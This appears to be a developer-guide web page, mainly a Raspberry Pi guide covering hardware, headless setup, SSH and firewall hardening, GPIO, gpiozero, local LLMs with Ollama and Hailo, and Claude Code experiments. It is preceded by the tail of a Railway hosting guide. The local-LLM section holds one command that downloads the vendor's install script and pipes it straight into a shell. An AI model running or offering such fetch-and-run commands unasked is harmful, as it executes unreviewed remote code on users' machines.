Enterprise Custom Custom 2.4 TB RAM, 2,400 vCPU, 50 replicas

The subscription includes an equal amount of usage, so a small always-on worker on Hobby is often fully covered. Because billing tracks provisioned resources over time, an idle service still costs memory — size containers deliberately rather than leaving defaults.

codeAmani notes

Security

Where Railway fits our stack

Vercel remains the default for Next.js front ends. Railway earns its place for the part Vercel structurally cannot host — a process that outlives a request:

Kenya-targeted projects

Provenance

A Railway deploy is a deploy, not a downloadable artifact — per our SLSA policy that means no provenance target. Pin the GitHub Actions used in the deploy workflow to commit SHAs and document the build; there is nothing for slsa-verifier to verify. If a project additionally ships a container image or release tarball, that artifact takes Build L3 on its own track — see supply-chain/CLAUDE_CODE_INTEGRATION.md.

Troubleshooting

Symptom Cause Fix
Build succeeds, deploy never activates Health check never returns 200 Bind process.env.PORT on 0.0.0.0; confirm healthcheckPath exists and is unauthenticated
service unavailable on health check Hardcoded port, or target ports in use Bind PORT, or set a PORT variable telling Railway which port to probe
Service unreachable over private network Listening on 0.0.0.0 only Bind IPv6 (::) for private-network traffic
Cron job never fires again Previous run never exited Close DB pools and exit; overlapping runs are skipped, not queued
Cron fires less often than expected Interval below the floor Minimum is 5 minutes
Unexpected egress charges Services talking over public domains Switch to RAILWAY_PRIVATE_DOMAIN / reference variables
429 from the GraphQL API Plan rate limit Honour Retry-After; batch queries
Migrations race the new deploy Migration in startCommand Move it to deploy.preDeployCommand

Official docs:

Raspberry Pi — Novice-to-Pro Developer Guide

Technology: raspberry-pi · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/raspberry-pi

Insight:

A Raspberry Pi is a full Linux computer the size of a credit card with a 40-pin GPIO header bolted to the side — so the same board both serves web apps and toggles real-world pins. Three rules decide everything: (1) the GPIO pins are 3.3V only — feed them 5V and you fry the SoC; (2) gpiozero speaks BCM numbering, never the physical pin position (BCM17 ≠ physical pin 17); (3) RAM is now the expensive part — after the 2026 memory-price rises a 16 GB Pi 5 lists at $305 while a 1 GB one is $45, so buy only the RAM the workload needs. Flash Raspberry Pi OS (Debian 13 "Trixie") with Imager, bake in an SSH public key before first boot, harden it like any server, and reach it through Raspberry Pi Connect or a tailnet — never an open port.

██████╗  █████╗ ███████╗██████╗ ██████╗ ███████╗██████╗ ██████╗ ██╗   ██╗    ██████╗ ██╗
██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝    ██╔══██╗██║
██████╔╝███████║███████╗██████╔╝██████╔╝█████╗  ██████╔╝██████╔╝ ╚████╔╝     ██████╔╝██║
██╔══██╗██╔══██║╚════██║██╔═══╝ ██╔══██╗██╔══╝  ██╔══██╗██╔══██╗  ╚██╔╝      ██╔═══╝ ██║
██║  ██║██║  ██║███████║██║     ██████╔╝███████╗██║  ██║██║  ██║   ██║       ██║     ██║
╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝     ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝       ╚═╝     ╚═╝

Raspberry Pi — Novice-to-Pro Developer Guide

Focus: A complete path from "I just bought a Pi" to shipping production edge workloads — hardware models and current prices, headless OS setup, security hardening, remote access, the 40-pin GPIO header and its 3.3V rule, the Python physical-computing stack (gpiozero, picamera2, lgpio), Node/TypeScript on the Pi, running local LLMs (Ollama, llama.cpp, AI HAT+ 2), experiments to run with Claude Code, and how the Pi compares to Arduino, ESP32, Jetson, and the Pi's own Pico microcontroller. Grounded in raspberrypi.com/documentation, the Raspberry Pi OS release notes, gpiozero.readthedocs.io and docs.ollama.com; reviewed 2026-10-20.

The Raspberry Pi is the rare device that is approachable on day one and still in your rack five years later. The trick is to learn it in the right order: get a headless, hardened Linux box running first (no monitor, no keyboard), then reach for the soldering iron. The interactive learn module above this page is a live 40-pin GPIO pinout explorer — start there to build intuition for the header, then use this reference.

Table of Contents

  1. What a Raspberry Pi actually is
  2. Pick the right board (and what it costs now)
  3. Headless OS setup (the right way)
  4. First-boot configuration
  5. Security hardening
  6. Remote access options
  7. The 40-pin GPIO header
  8. Physical computing with gpiozero
  9. The camera & other interfaces (I2C/SPI/UART)
  10. Node.js & TypeScript on the Pi
  11. Local LLMs and edge AI
  12. Hardware components shopping list
  13. Build ideas — novice to pro
  14. Experiments with Claude Code
  15. Raspberry Pi Pico (the microcontroller)
  16. Comparable tech stacks
  17. codeAmani notes

Official Documentation

Resource URL
Documentation hub https://www.raspberrypi.com/documentation/
Getting started (Imager + headless) https://www.raspberrypi.com/documentation/computers/getting-started.html
Raspberry Pi OS (updates, Python, venvs) https://www.raspberrypi.com/documentation/computers/os.html
Remote access (SSH, VNC, Connect, SCP, rsync) https://www.raspberrypi.com/documentation/computers/remote-access.html
Raspberry Pi Connect https://www.raspberrypi.com/documentation/services/connect.html
Computers / hardware reference + GPIO https://www.raspberrypi.com/documentation/computers/raspberry-pi.html
AI software (Hailo stack) https://www.raspberrypi.com/documentation/computers/ai.html
AI HATs https://www.raspberrypi.com/documentation/accessories/ai-hat-plus.html
OS release notes (kernel, changes) https://downloads.raspberrypi.com/raspios_lite_arm64/release_notes.txt
gpiozero (Python) https://gpiozero.readthedocs.io/en/stable/
picamera2 manual https://datasheets.raspberrypi.com/camera/picamera2-manual.pdf
Datasheets https://datasheets.raspberrypi.com/
Ollama on Linux (arm64) https://docs.ollama.com/linux
Interactive pinout (community) https://pinout.xyz/

Current versions at a glance (verified 2026-10-20):

Thing Current Notes
Raspberry Pi OS Trixie (Debian 13; Debian point release 13.7), image 2026-10-06 Kernel 6.18.50 (moved off 6.12 in the 2026-06-18 image). Bookworm is the previous release.
System Python 3.13 PEP 668 blocks pip install into system Python — use apt or a venv
Raspberry Pi Imager v2.0.12 (2026-10-08) "Customisation" tab replaces the old ⚙ dialog
gpiozero 2.0.1.post3 Default pin factory lgpio; only lgpio works on the Pi 5
picamera2 0.3.38 (2026-10-12) Prefer sudo apt install python3-picamera2
lgpio (PyPI) 0.2.2.0 aarch64 wheels only up to cp312 — on Trixie use the apt package
rpi-lgpio 0.6 RPi.GPIO-compatible shim on lgpio — for legacy RPi.GPIO code
libgpiod (Debian gpiod) 2.2.1 v2 CLI (gpioget/gpioset/gpioinfo)
OpenSSH (Trixie) 10.0p1 DSA gone; Ed25519 default key type
Ollama 0.40.6 (2026-10-16) Official arm64 Linux build

1. What a Raspberry Pi actually is

A single-board computer (SBC): a complete ARM-based Linux computer — CPU, RAM, USB, HDMI, networking, storage (microSD or NVMe) — on one board, with a 40-pin GPIO header for talking to electronics. That dual nature is the whole point:

flowchart TB
  subgraph PI["Raspberry Pi — one board, two faces"]
    subgraph LINUX["Linux computer"]
      CPU["ARM64 SoC + RAM"]
      NET["Wi-Fi / Ethernet"]
      SD["microSD / NVMe: OS + storage"]
      USB["USB / HDMI / PCIe (Pi 5)"]
    end
    subgraph PHYS["Physical-computing face"]
      GPIO["40-pin GPIO header (3.3V)"]
      CSI["CSI: camera"]
      I2CSPI["I2C · SPI · UART buses"]
    end
  end
  LINUX -->|"same OS drives both"| PHYS
  WORLD["Sensors · motors · LEDs · displays"] --- GPIO
  CLOUD["Your web app · MQTT · cloud"] --- NET
  class GPIO pulse;
  class CPU pulse;

Why it matters: because it's real Linux, everything you already know — ssh, systemd, Docker, Python, Node, cron, nginx — works unchanged. And because it has GPIO, the same box that runs a web app can also read a temperature sensor or drive a relay. It is the cheapest honest "computer + I/O" you can buy.

Microcontroller vs SBC: A Pi runs a full OS and is great at software (servers, ML, networking). A microcontroller (Arduino, ESP32, the Pi Pico) runs one program on bare metal with precise real-time timing and microamp sleep. Many real projects pair them: Pi for brains + network, Pico/Arduino for the twitchy real-time pins. See §15 and §16.


2. Pick the right board (and what it costs now)

The 2026 reality: memory prices drive Pi prices. LPDDR4 costs rose so steeply through 2025–26 that Raspberry Pi raised prices four times (Dec 2025, 2 Feb 2026, Apr 2026, 1 Oct 2026). The 1 GB boards were held flat; everything with more RAM went up — the 16 GB Pi 5 more than doubled. Raspberry Pi's own advice: buy the RAM your workload needs, not headroom.

Board RAM options US list price (Oct 2026) Best for Notes
Pi Pico 2 / Pico 2 W — (RP2350 MCU) — Real-time sensors, battery Not Linux — a microcontroller (§15)
Pi Zero 2 W 512 MB check reseller Tiny always-on jobs, cameras Quad-core, Wi-Fi/BT; header often unpopulated
Pi 4 Model B 1 / 2 / 3 / 4 / 8 GB $35 / $67.50 / $83.75 / ~$100 / ~$165 Home server, NAS, kiosk 3 GB variant added Apr 2026 as a cheaper step
Pi 5 1 / 2 / 4 / 8 / 16 GB $45 / $77.50 / ~$110 / ~$175 / $305 Fast I/O, NVMe, local LLMs, edge AI BCM2712 (4× Cortex-A76 @ 2.4 GHz), PCIe; needs active cooling + 5V/5A PSU
Pi 500 / 500+ 8 / 16 GB $180 unit · $200 kit / from $410 Keyboard-in-a-box desktop (Pi 5-class) 500+ = mechanical keys + internal 256 GB SSD
Pi 400 4 GB $60 Cheapest all-in-one desktop Unaffected by the 2026 rises
Compute Module 4 / 5 up to 8 / 16 GB rose with RAM — check product page Your own carrier board / product CM5 is Pi 5-class (BCM2712)

Prices: 1 GB, 2 GB, 3 GB, Pi 400, Pi 500 and the Pi 5 16 GB are as published on raspberrypi.com product pages / news posts. The "~" figures are computed by adding the announced increases to the original list prices — confirm on the product page before you quote a customer. Approved Resellers honour the published maximum prices; avoid unauthorised sellers with inflated pricing.

flowchart LR
  Q1{"Need a full Linux OS?"}
  Q1 -->|No, just precise pins / battery| PICO["Pico 2 W / ESP32"]
  Q1 -->|Yes| Q2{"Tiny & low-power, or muscle?"}
  Q2 -->|Tiny always-on| ZERO["Pi Zero 2 W"]
  Q2 -->|Server / kiosk| Q3{"How much RAM does the app really use?"}
  Q3 -->|"≤ 1–2 GB (most services)"| PI51["Pi 5 1–2 GB · Pi 4 1–3 GB"]
  Q3 -->|"Local LLM / heavy containers"| PI58["Pi 5 8 GB (16 GB only if proven)"]
  Q3 -->|"LLM but RAM is pricey"| HAT["Pi 5 + AI HAT+ 2 (8 GB on the HAT)"]

Also buy (these are not optional): a quality power supply — the Pi 5 / Pi 500 want 5V at 5A (the official 27 W USB-C PSU); on a 5V/3A supply the Pi 5 limits USB peripherals to 600 mA. The Pi 4 wants 5V/3A. Under-volting causes mysterious crashes. Add a decent A2-rated microSD card (or better, NVMe via an M.2 HAT on the Pi 5) and, for the Pi 5, active cooling.


3. Headless OS setup (the right way)

You do not need a monitor or keyboard. The professional workflow is headless from minute one.

1. Flash with Raspberry Pi Imager (v2.x). Download from raspberrypi.com/software, pick your device, choose Raspberry Pi OS (64-bit) — Lite (no desktop) for servers. Then open the Customisation tab before writing (Imager 2 replaced the old ⚙ "Edit settings" dialog):

flowchart LR
  A["Imager 2.x"] e1@--> B["Device + OS (Lite 64-bit)"]
  B e2@--> C["Customisation:<br/>hostname · locale · user · Wi-Fi<br/>SSH public key · Connect key"]
  C e3@--> D["Write + verify"]
  D e4@--> E["Insert media, power on"]
  E e5@--> F["ssh amani@amani-pi.local"]
  e1@{ animate: true }
  e2@{ animate: true }
  e3@{ animate: true }
  e4@{ animate: true }
  e5@{ animate: true }
  class C glow;

2. Boot and SSH in — no screen required:

# From your laptop (mDNS resolves <hostname>.local — or .lan — on the same network)
ssh amani@amani-pi.local
# or by IP if .local doesn't resolve:
ssh amani@192.168.1.42

# First things first
sudo apt update && sudo apt full-upgrade -y
sudo reboot

If *.local doesn't resolve (some Windows/Android setups), find the IP from your router's DHCP table. On Windows, install Bonjour or just use the IP.

No Imager? On the bootfs partition create an empty file named ssh plus a userconf.txt containing one line, <username>:<encrypted-password> — generate the hash with openssl passwd -6 (on macOS use Homebrew OpenSSL; LibreSSL lacks -6). Imager customisation is still the better path because it can install your public key.


4. First-boot configuration

Know what changed in 2026 images:

raspi-config is the official text UI for system settings; most of it is scriptable:

sudo raspi-config            # interactive: interfaces, locale, hostname, boot, sudo
sudo raspi-config nonint do_i2c 0    # enable I2C non-interactively (0 = enable)
sudo raspi-config nonint do_spi 0    # enable SPI
sudo raspi-config nonint do_ssh 0    # ensure SSH on

Interfaces can also be toggled directly in /boot/firmware/config.txt via device-tree params — useful in provisioning scripts and Ansible:

# /boot/firmware/config.txt  — enable buses at boot
dtparam=i2c_arm=on
dtparam=spi=on
dtparam=audio=on
# camera autodetect is on by default on current Pi OS:
camera_auto_detect=1
# Sanity checks after enabling
ls /dev/i2c-*          # I2C bus appears
ls /dev/spidev*        # SPI device appears
i2cdetect -y 1         # scan the I2C bus (sudo apt install i2c-tools)
vcgencmd measure_temp  # SoC temperature — watch for throttling
vcgencmd get_throttled # 0x0 = no under-voltage / throttling since boot

5. Security hardening

A Pi on a network is a server. Treat it like one — the defaults are better than they were (no default account, sudo asks for a password) but SSH still accepts passwords until you turn them off. Full SSH depth lives in the remote-access guide; this is the Pi-specific minimum.

1. Keys only, no root, via a drop-in (Debian's sshd_config includes /etc/ssh/sshd_config.d/*.conf, so you never edit the main file):

# On your laptop — if you didn't paste a key into Imager
ssh-keygen -t ed25519 -C "you@laptop"
ssh-copy-id amani@amani-pi.local

# On the Pi — confirm key login works in a SECOND terminal first, then:
sudo tee /etc/ssh/sshd_config.d/10-hardening.conf >/dev/null <<'EOF'
PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin no
AllowUsers amani
EOF
sudo sshd -t && sudo systemctl reload ssh   # validate before reloading

2. Firewall — default-deny inbound (ufw 0.36.2 in Trixie, an nftables front end):

sudo apt install -y ufw
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow from 192.168.1.0/24 to any port 22 proto tcp   # SSH from the LAN only
# sudo ufw allow in on tailscale0                              # if you use a tailnet (§6)
sudo ufw enable
sudo ufw status verbose

Allow SSH before ufw enable or you lock yourself out of a headless box. If you only reach the Pi via Raspberry Pi Connect or Tailscale, you can drop the LAN SSH rule entirely — both work outbound-only.

3. Automatic security updates with unattended-upgrades (2.12 in Trixie). Debian's default config covers the Debian security archive; add Raspberry Pi's own archive (its Release file declares Origin: Raspberry Pi Foundation, Codename: trixie) so firmware/kernel fixes land too:

sudo apt install -y unattended-upgrades apt-listchanges
sudo dpkg-reconfigure -plow unattended-upgrades     # writes /etc/apt/apt.conf.d/20auto-upgrades

sudo tee /etc/apt/apt.conf.d/52raspi-origins >/dev/null <<'EOF'
Unattended-Upgrade::Origins-Pattern {
        "origin=Raspberry Pi Foundation,codename=${distro_codename},label=Raspberry Pi Foundation";
};
// Field nodes: reboot in a quiet window if a kernel update needs it
Unattended-Upgrade::Automatic-Reboot "true";
Unattended-Upgrade::Automatic-Reboot-Time "03:30";
EOF
sudo unattended-upgrade --dry-run --debug 2>&1 | tail -20   # verify the origins match

Automatic updates stay within Trixie. Never let anything dist-upgrade across major releases unattended — reimage instead (§4). Avoid rpi-update (pre-release firmware) on anything in the field.

4. Brute-force protection. OpenSSH 10 (Trixie) has built-in per-source penalties (PerSourcePenalties) that throttle repeat offenders; with password auth off and SSH not exposed to the internet, fail2ban is optional. Add it if SSH must face the internet — but the better answer is not exposing it (§6).

5. Hygiene checklist: unique hostname + user per device · secrets in EnvironmentFiles with chmod 600 (never in the image) · disable services you don't use (systemd-analyze blame, systemctl disable --now <unit>) · rpi-connect shell off if you use Connect only for screen sharing · back up the SD/NVMe image before risky changes.


6. Remote access options

The question is how do I reach a Pi that isn't on my desk — and the answer is almost never "port-forward 22 on the router". Pick by situation; the remote-access guide has the full SSH/tunnel/VPN depth.

Option How it reaches the Pi Best for Cost
SSH on the LAN Direct TCP 22 Same network, dev bench Free
Raspberry Pi Connect Pi connects out to Raspberry Pi's service; browser ↔ Pi is WebRTC peer-to-peer, falling back to a TURN relay Remote shell / screen share from any browser; remote OTA updates for fleets Personal accounts free; Connect for Organisations billed monthly
Tailscale (managed WireGuard mesh) Outbound to coordination server, then P2P WireGuard Reaching many Pis + services by MagicDNS name, identity-gated Free personal tier
WireGuard (self-hosted) UDP to your own VPN endpoint Full control, no third party Free (you run it)
Cloudflare Tunnel Outbound-only cloudflared Publishing an HTTPS service on the Pi (dashboards, Daraja callbacks) Free tier

Raspberry Pi Connect (Bookworm or later; screen sharing needs a Wayland desktop, so Lite images use Connect Lite = remote shell only):

sudo apt update
sudo apt install rpi-connect-lite      # Lite / headless (remote shell only)
# sudo apt install rpi-connect         # desktop images (adds screen sharing)
rpi-connect on
rpi-connect signin                     # prints a connect.raspberrypi.com/verify/... URL
loginctl enable-linger                 # keep Connect running with no one logged in (headless!)
rpi-connect doctor                     # checks STUN/TURN, API reachability

Connect also does remote updates: install rpi-connect-ota, opt in with rpi-connect ota on, then push either script artefacts (built with otamaker, run as root — e.g. package upgrades) or full A/B boot images (built with rpi-image-gen, auto-revert on failure; needs Pi 4+ imaged with an A/B layout on Trixie). That is the first-party answer to "update 50 kiosks behind 50 different routers".

Data-flow note: Connect sessions are end-to-end encrypted (WebRTC/DTLS, fresh keys per session); when P2P fails, encrypted traffic relays via Raspberry Pi's TURN servers in London (Europe/Africa) or California (Americas/Asia/Oceania), and relaying cannot be disabled except by firewalling the TURN hosts. Access is gated by a Raspberry Pi ID — turn on its 2FA. Connect runs as a user service, hence loginctl enable-linger. For devices in PCI or customer-data scope, prefer a tailnet with your own ACLs and keep Connect's remote shell off (rpi-connect shell off).


7. The 40-pin GPIO header

Every current Pi (and the Zero, sometimes unpopulated) exposes a 40-pin header on a 0.1in (2.54 mm) pitch. The single rule that saves your board:

⚠️ GPIO is 3.3V logic, not 5V. The pins source/sink 3.3V and are not 5V-tolerant — putting 5V on a GPIO input can permanently damage the SoC. There are two 5V pins (for powering peripherals) and several 3V3 and GND pins, but every signal pin is 3.3V. Use a level shifter for 5V sensors, or hang them off a Pico instead.

The header is a fixed standard across boards. The layout (physical pin → function):

Pin Function Pin Function
1 3V3 power 2 5V power
3 GPIO2 (I2C SDA) 4 5V power
5 GPIO3 (I2C SCL) 6 GND
7 GPIO4 (GPCLK0) 8 GPIO14 (UART TXD)
9 GND 10 GPIO15 (UART RXD)
11 GPIO17 12 GPIO18 (PCM/PWM)
13 GPIO27 14 GND
15 GPIO22 16 GPIO23
17 3V3 power 18 GPIO24
19 GPIO10 (SPI MOSI) 20 GND
21 GPIO9 (SPI MISO) 22 GPIO25
23 GPIO11 (SPI SCLK) 24 GPIO8 (SPI CE0)
25 GND 26 GPIO7 (SPI CE1)
27 GPIO0 (ID EEPROM) 28 GPIO1 (ID EEPROM)
29 GPIO5 30 GND
31 GPIO6 32 GPIO12 (PWM)
33 GPIO13 (PWM) 34 GND
35 GPIO19 (PCM/SPI1) 36 GPIO16
37 GPIO26 38 GPIO20 (PCM/SPI1)
39 GND 40 GPIO21 (PCM/SPI1)

BCM vs physical numbering — the #1 beginner trap. Software (gpiozero, lgpio, libgpiod line offsets on the main GPIO chip) addresses pins by Broadcom (BCM) GPIO number, not by physical position. LED(17) means BCM17, which sits at physical pin 11 — not physical pin 17 (that's a 3V3 power pin). When in doubt, run pinout on the Pi:

pinout       # ASCII diagram of YOUR board's header (ships with gpiozero)
gpioinfo     # libgpiod v2: every chip and line, with names (sudo apt install gpiod)

8. Physical computing with gpiozero

gpiozero is the official, beginner-friendly Python library — it wraps pins as devices (LED, Button, Servo, DistanceSensor) so you write intent, not register pokes. It's pre-installed on Raspberry Pi OS desktop images; on Lite:

sudo apt install python3-gpiozero      # recommended — pulls python3-lgpio and the `pinout` tool

In a virtual environment, inherit the system packages. Trixie's Python is 3.13 and PyPI's lgpio has no 3.13 aarch64 wheel, so pip install lgpio tries to compile. The documented fix is a venv that can see apt's python3-lgpio / python3-picamera2:

python3 -m venv --system-site-packages ~/myapp/.venv
source ~/myapp/.venv/bin/activate
pip install paho-mqtt                  # your app's own deps go in the venv

Which backend? gpiozero's docs are explicit: "Only lgpio works on the Pi 5." RPi.GPIO (last release 0.7.1, 2022) and pigpio don't support the Pi 5's RP1 I/O chip. rpi-lgpio is an RPi.GPIO-compatible shim on lgpio — use it only to run legacy RPi.GPIO code on a Pi 5, not for new gpiozero code. Raspberry Pi OS Trixie also removed the old "Remote GPIO" option.

Blink an LED (LED on BCM17 = physical pin 11, through a ~330Ω resistor to GND):

from gpiozero import LED
from time import sleep

led = LED(17)            # BCM17 — NOT physical pin 17
while True:
    led.toggle()
    sleep(0.5)

Button toggles LED — event-driven, no polling loop:

from gpiozero import LED, Button
from signal import pause

led = LED(17)
button = Button(2)       # BCM2, with internal pull-up by default

button.when_pressed = led.on
button.when_released = led.off
pause()                  # sleep forever, let callbacks fire

PWM for brightness / motor speed:

from gpiozero import PWMLED
from time import sleep

led = PWMLED(17)
led.value = 0.1          # 10% duty cycle
sleep(1)
led.pulse()              # smooth fade in/out in a background thread
sleep(5)

gpiozero uses BCM numbering and it is not configurable — but you can pass alternate notations that all resolve to BCM: LED(17), LED("GPIO17"), LED("BOARD11") (physical), or LED("J8:11") (header:pin).

Unit-test pin logic on your laptop with the mock pin factory — no hardware, no Pi:

env GPIOZERO_PIN_FACTORY=mock python3 -m pytest tests/
flowchart TB
  APP["Your Python script"] --> GZ["gpiozero (device abstractions)"]
  GZ --> BK{"Pin factory"}
  BK --> LG["lgpio (default; the only one on Pi 5)"]
  BK --> MOCK["mock (laptop unit tests)"]
  LG --> CHIP["/dev/gpiochip* (kernel GPIO char device)"]
  CHIP --> HW["40-pin header"]

9. The camera & other interfaces (I2C/SPI/UART)

Camera (CSI ribbon → picamera2). Modern Pi OS autodetects official camera modules. picamera2 is the supported Python API (the old picamera is deprecated). Install it from apt — it depends on system libcamera:

sudo apt install -y python3-picamera2                            # desktop images
sudo apt install -y python3-picamera2 --no-install-recommends    # Lite OS, no GUI deps
from picamera2 import Picamera2
from time import sleep

picam2 = Picamera2()
picam2.start()
sleep(2)                       # let auto-exposure settle
picam2.capture_file("shot.jpg")
picam2.stop()
rpicam-still -o test.jpg       # CLI capture (formerly libcamera-still)
rpicam-hello -t 5000           # 5s preview to confirm the camera is detected

The three buses, in one breath:

Bus Pins (BCM) Use it for Enable
I2C SDA=2, SCL=3 Many low-speed sensors/displays sharing 2 wires by address dtparam=i2c_arm=on
SPI MOSI=10, MISO=9, SCLK=11, CE0=8 Fast displays, ADCs, SD/flash dtparam=spi=on
UART TXD=14, RXD=15 Serial to a Pico/Arduino/GPS/modem console off, enable_uart=1
i2cdetect -y 1        # find I2C device addresses (e.g. 0x3c for an OLED, 0x76 for BME280)

10. Node.js & TypeScript on the Pi

The Pi is ARM64 Debian, so Node runs natively (install from NodeSource or nvm; keep to an LTS line). The interesting question is GPIO from Node, and the honest 2026 answer is: most Node GPIO packages are stale.

Package Latest Status on Pi 5 / Trixie
onoff 6.0.3 (2022) Uses the deprecated sysfs GPIO interface — avoid for new work
rpio, pigpio (npm) 2.4.2 / 3.3.1 (2022) Pre-Pi 5 register access — does not work with RP1
node-libgpiod 0.6.0 (Jan 2026) Character-device API, but its README targets libgpiod 1.5/1.6; Trixie ships libgpiod 2.2.1 — unverified, test before relying on it

The codeAmani pattern: keep pin I/O in a small Python gpiozero service (the officially supported path) and let Node/TypeScript talk to it over MQTT or a local HTTP socket — or, for one-off reads/writes, call the libgpiod v2 CLI (gpioget/gpioset) with execFile and an argument array (never a shell string, per our security convention). Node's real job on the Pi is the networked app: dashboards, telemetry agents, and talking to a local LLM.

Example — a dependency-free health probe (runs on any Pi with Node ≥ 20; full version with POSTing in examples/pi-health.mts):

import { execFile } from "node:child_process";
import { readFile } from "node:fs/promises";
import { promisify } from "node:util";

const run = promisify(execFile);

export interface PiHealth {
  socTempC: number;
  throttledHex: string;
  underVoltageSinceBoot: boolean;
  throttledSinceBoot: boolean;
}

export async function readPiHealth(): Promise<PiHealth> {
  // millidegrees C, e.g. "48300\n"
  const raw = await readFile("/sys/class/thermal/thermal_zone0/temp", "utf8");
  // args as an array — no shell interpolation
  const { stdout } = await run("vcgencmd", ["get_throttled"]); // "throttled=0x50005\n"
  const hex = stdout.trim().split("=")[1] ?? "0x0";
  const bits = Number.parseInt(hex, 16);
  return {
    socTempC: Number(raw.trim()) / 1000,
    throttledHex: hex,
    underVoltageSinceBoot: (bits & (1 << 16)) !== 0,
    throttledSinceBoot: (bits & (1 << 18)) !== 0,
  };
}

11. Local LLMs and edge AI

Raspberry Pi's own framing: most edge AI/ML belongs on the CPU; accelerators are for the minority of workloads the CPU can't handle. For language models you have three tiers:

Tier Hardware Software What fits Reality check
CPU only Pi 5, 8 GB (16 GB if proven needed) Ollama (official arm64 build) or llama.cpp ~0.6–4B params at 4-bit: qwen3:0.6b/1.7b/4b, gemma3:1b, llama3.2:1b/3b, granite4:1b/3b, gemma4:e2b Usable for short, scoped prompts (classify, extract, summarise a reading). Measure tokens/s on your board and cooling.
AI HAT+ 2 Pi 5 + Hailo-10H, 40 TOPS (INT4), 8 GB on-HAT RAM, $200 sudo apt install dkms hailo-h10-all → hailo-ollama (Ollama-compatible REST API, default port 8000) Hailo-compiled models only: Qwen2/2.5 1.5B, Qwen2.5-Coder 1.5B, Qwen3 1.7B, Llama 3.2 1B, DeepSeek-R1-Distill-Qwen 1.5B, plus VLMs Frees the Pi's own RAM/CPU; model choice is limited to Hailo's GenAI zoo
Vision NPU AI HAT+ (Hailo-8L 13 TOPS / Hailo-8 26 TOPS), legacy AI Kit, AI Camera (Sony IMX500) sudo apt install dkms hailo-all · sudo apt install imx500-all Detection/segmentation/pose — not LLMs (the AI docs: LLMs are AI HAT+ 2 only) Pair a vision NPU with a CPU/cloud LLM for "see → describe"

Third-party option: the Sixfab AI HAT+ (DEEPX DX-M1M, 25 TOPS at ~3 W, 2 GB on-module) runs CNNs, compact VLMs and SLMs — Raspberry Pi's own post measured Qwen3-1.7B at 4.64 tok/s on it (Pi 5 8 GB).

CPU path — Ollama (official installer creates the ollama user + systemd unit; API on http://localhost:11434):

curl -fsSL https://ollama.com/install.sh | sh
ollama pull qwen3:1.7b
ollama run qwen3:1.7b "Classify: 'pump pressure dropped to 0.8 bar' -> ok|warn|fail"

# Expose to the LAN/tailnet only if you must — via a systemd override, then firewall it:
sudo systemctl edit ollama        # [Service] Environment="OLLAMA_HOST=0.0.0.0:11434"

Ollama's API has no authentication. Keep it on 127.0.0.1 and put your app in front of it, or bind it only to the tailscale0 interface and restrict with ufw. Never port-forward it.

llama.cpp is the engine underneath; build it on the Pi (cmake -B build && cmake --build build -j4, releases are tagged bNNNNN — b11755 on 2026-10-20) when you want llama-server's OpenAI-compatible endpoint, GGUF files you control, or tighter memory tuning than Ollama exposes.

AI HAT+ 2 path — hailo-ollama:

sudo apt update && sudo apt full-upgrade -y
sudo apt install dkms
sudo apt install hailo-h10-all
sudo reboot
# Hailo Model Zoo GenAI (v5.4.0) provides the hailo-ollama server:
hailo-ollama &
curl --silent http://localhost:8000/hailo/v1/list
curl --silent http://localhost:8000/api/pull -H 'Content-Type: application/json' \
     -d '{ "model": "qwen2:1.5b", "stream": true }'

Because both servers speak the Ollama /api/chat shape, the same TypeScript client works against either — see examples/ollama-chat.mts:

interface ChatMessage { role: "system" | "user" | "assistant"; content: string }
interface ChatResponse { model: string; message: ChatMessage; done: boolean; eval_count?: number; eval_duration?: number }

export async function chat(baseUrl: string, model: string, messages: ChatMessage[]): Promise<ChatResponse> {
  const res = await fetch(`${baseUrl}/api/chat`, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ model, messages, stream: false }),
    signal: AbortSignal.timeout(120_000), // small boards are slow on first load
  });
  if (!res.ok) throw new Error(`chat failed: ${res.status} ${await res.text()}`);
  return (await res.json()) as ChatResponse;
}

// CPU Ollama:   chat("http://127.0.0.1:11434", "qwen3:1.7b", msgs)
// hailo-ollama: chat("http://127.0.0.1:8000",  "qwen2:1.5b", msgs)

Routing rule (codeAmani AI policy): the on-device model is the offline fallback and the privacy-first classifier, not the brain. Complex reasoning and code generation still route to Claude; structured output to GPT-4o — when the link is up. See §17.


12. Hardware components shopping list

A starter kit that covers 90% of beginner projects:

The cardinal hardware rules: common ground between Pi and any external supply; never source motor/relay current from a GPIO pin; level-shift anything 5V; and double-check polarity before powering on.


13. Build ideas — novice to pro

flowchart LR
  N["NOVICE<br/>blink · button · buzzer<br/>web 'hello' on the LAN"]
  --> I["INTERMEDIATE<br/>weather station (BME280→DB)<br/>Pi-hole · home VPN · NAS<br/>time-lapse camera"]
  --> A["ADVANCED<br/>MQTT sensor mesh<br/>Kiosk / digital signage<br/>Home Assistant hub"]
  --> P["PRO<br/>Offline LLM assistant (AI HAT+ 2)<br/>Fleet with Connect OTA<br/>Product on a Compute Module"]

14. Experiments with Claude Code

Claude Code runs on the Pi (it's just ARM64 Linux) or drives it remotely over SSH from your laptop. Both unlock fast hardware iteration: describe the circuit and the behaviour, let Claude write the gpiozero script, run it, read the output, and iterate. For the current install method see the anthropic guide — on a 1–2 GB Pi prefer driving it over SSH from your laptop rather than running the agent locally.

Experiments that play to Claude Code's strengths:

  1. Conversational circuit bring-up. "I wired a BME280 to I2C and an SSD1306 OLED — read temp/humidity every 10 s and show it on the display." Claude writes it; i2cdetect -y 1 confirms addresses; you run and refine.
  2. Hardware-in-the-loop TDD. Claude writes tests against gpiozero's mock pin factory (env GPIOZERO_PIN_FACTORY=mock) so logic is unit-tested on your laptop, then deployed to real pins.
  3. Sensor → cloud pipeline. "Publish each reading to MQTT and also POST to a Next.js API route." Pairs with the webhooks and supabase guides.
  4. Local LLM on the edge. Run qwen3:1.7b under Ollama (or a Hailo model on AI HAT+ 2) and have Claude Code build the glue: an assistant that classifies sensor events offline and syncs when connectivity returns.
  5. Vision on the edge. AI Camera or AI HAT+: Claude scaffolds a picamera2 capture loop feeding a detector, writing events to a DB.
